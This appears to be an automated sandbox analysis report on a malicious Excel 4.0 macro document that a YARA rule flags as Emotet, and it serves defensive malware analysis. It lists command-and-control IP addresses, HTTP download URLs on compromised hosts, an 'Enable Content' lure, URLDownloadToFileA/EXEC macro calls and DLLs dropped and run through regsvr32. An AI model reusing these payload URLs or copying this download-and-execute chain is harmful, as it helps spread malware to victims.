Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000004.00000002.1330694455.000000000035D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000003.995102678.000000000035D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330703562.00000000002B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/
Source: regsvr32.exe, 0000000A.00000002.1330703562.00000000002B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/t5
Source: regsvr32.exe, 00000004.00000002.1330847562.0000000002B0E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330703562.00000000002B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/
Source: regsvr32.exe, 00000004.00000003.994995885.0000000000319000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1330650184.0000000000319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/;j
Source: regsvr32.exe, 0000000A.00000002.1330703562.00000000002B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/P5
Source: regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.co
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll

Jump to behavior

Source: unknown

DNS traffic detected: queries for: www.melisetotoaksesuar.com

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180006B24 InternetReadFile,

4_2_0000000180006B24

Source: global traffic	HTTP traffic detected: GET /catalog/controller/account/dqfKI/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.melisetotoaksesuar.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /athletics-carnival-2018/3UTZYr9D9f/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: elamurray.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aaabackupsqldb/11hYk3bHJ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jr-software-web.netConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 212.98.224.29:443 -> 192.168.2.22:49173 version: TLS 1.2

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 9.2.regsvr32.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.4d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.2d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.regsvr32.exe.7fef74e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.7fef74e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1045326687.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1246167639.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1043672684.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1245776901.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1330732797.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.913587412.00000000001E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1246196239.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1330526390.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1331411753.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1331036064.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\uxevr2.ocx, type: DROPPED

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing and click Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Source: Screenshot number: 4	Screenshot OCR: Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

Found malicious Excel 4.0 Macro

Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA
Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Found Excel 4.0 Macro with suspicious formulas

Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls	Initial sample: EXEC
Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls	Initial sample: EXEC

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\system32\JQSPcFGJSVOMPtFX\

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D212B0	3_2_000007FEF9D212B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25E01	3_2_000007FEF9D25E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25CAD	3_2_000007FEF9D25CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D26850	3_2_000007FEF9D26850
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2443C	3_2_000007FEF9D2443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D253FB	3_2_000007FEF9D253FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D24A70	3_2_000007FEF9D24A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00130000	3_2_00130000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180005C74	3_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002ACE8	3_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020118	3_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000359C	3_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E99C	3_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019628	3_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025A4C	3_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180009408	3_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023C14	3_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006414	3_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002582C	3_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B834	3_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000403C	3_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021444	3_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012044	3_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016054	3_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001705C	3_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001870	3_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F878	3_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014484	3_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015494	3_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000BC98	3_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008C9C	3_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800078A4	3_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F0A8	3_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E4AC	3_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800048B0	3_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001ACB4	3_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800090B4	3_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800270C0	3_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800024C0	3_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800280C8	3_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800050D4	3_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800234D8	3_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800150F0	3_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012500	3_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024104	3_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A10C	3_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028D10	3_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A524	3_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002D28	3_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E130	3_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029134	3_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008134	3_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022140	3_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006954	3_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F554	3_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002B564	3_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012168	3_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013568	3_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024570	3_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019178	3_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025180	3_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001980	3_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021588	3_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A988	3_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018190	3_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013994	3_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028998	3_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800061A0	3_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800135A6	3_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016DA8	3_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800059AC	3_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800135B4	3_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001C1B8	3_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800025B8	3_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800085BC	3_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800015C0	3_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800295C8	3_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800229CC	3_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E5D4	3_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002A5D8	3_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800261E0	3_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800079EC	3_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023624	3_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018628	3_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017E2C	3_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017638	3_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004E3C	3_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020E40	3_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015A64	3_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015264	3_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A26C	3_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007678	3_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001667C	3_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012680	3_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001E88	3_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000968C	3_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022290	3_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026A90	3_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000529C	3_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020AA0	3_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022AAC	3_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007EB4	3_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800162BC	3_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800252C0	3_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001AEC8	3_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F6DC	3_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800026DC	3_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002ADC	3_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E2F4	3_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016AF4	3_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DEF4	3_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001DEFC	3_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006308	3_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001370C	3_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004B18	3_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015F24	3_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006B24	3_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F328	3_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021738	3_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002AF38	3_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028348	3_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DB4C	3_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014F50	3_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B350	3_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A758	3_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002975C	3_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024370	3_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008370	3_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015774	3_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012378	3_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026B98	3_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001CF9C	3_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001EBA0	3_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001B3A4	3_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D7AC	3_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800053B0	3_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015BB8	3_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800207BC	3_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000FFC0	3_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800173DC	3_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018BDC	3_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_004C0000	4_2_004C0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000C819	4_2_000000018000C819
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019628	4_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025A4C	4_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001705C	4_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012864	4_2_0000000180012864
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180005C74	4_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0	4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800090B4	4_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800252C0	4_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800024C0	4_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024104	4_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006B24	4_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006F2C	4_2_0000000180006F2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A758	4_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024570	4_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E99C	4_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001B3A4	4_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800079EC	4_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180009408	4_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023C14	4_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006414	4_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023624	4_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018628	4_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002582C	4_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017E2C	4_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B834	4_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017638	4_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000403C	4_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180004E3C	4_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020E40	4_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021444	4_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012044	4_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016054	4_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015A64	4_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015264	4_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A26C	4_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001870	4_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F878	4_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007678	4_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001667C	4_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012680	4_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014484	4_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001E88	4_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000968C	4_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022290	4_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026A90	4_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015494	4_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BC98	4_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000529C	4_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008C9C	4_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020AA0	4_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800078A4	4_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F0A8	4_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022AAC	4_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001E4AC	4_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800048B0	4_2_00000001800048B0
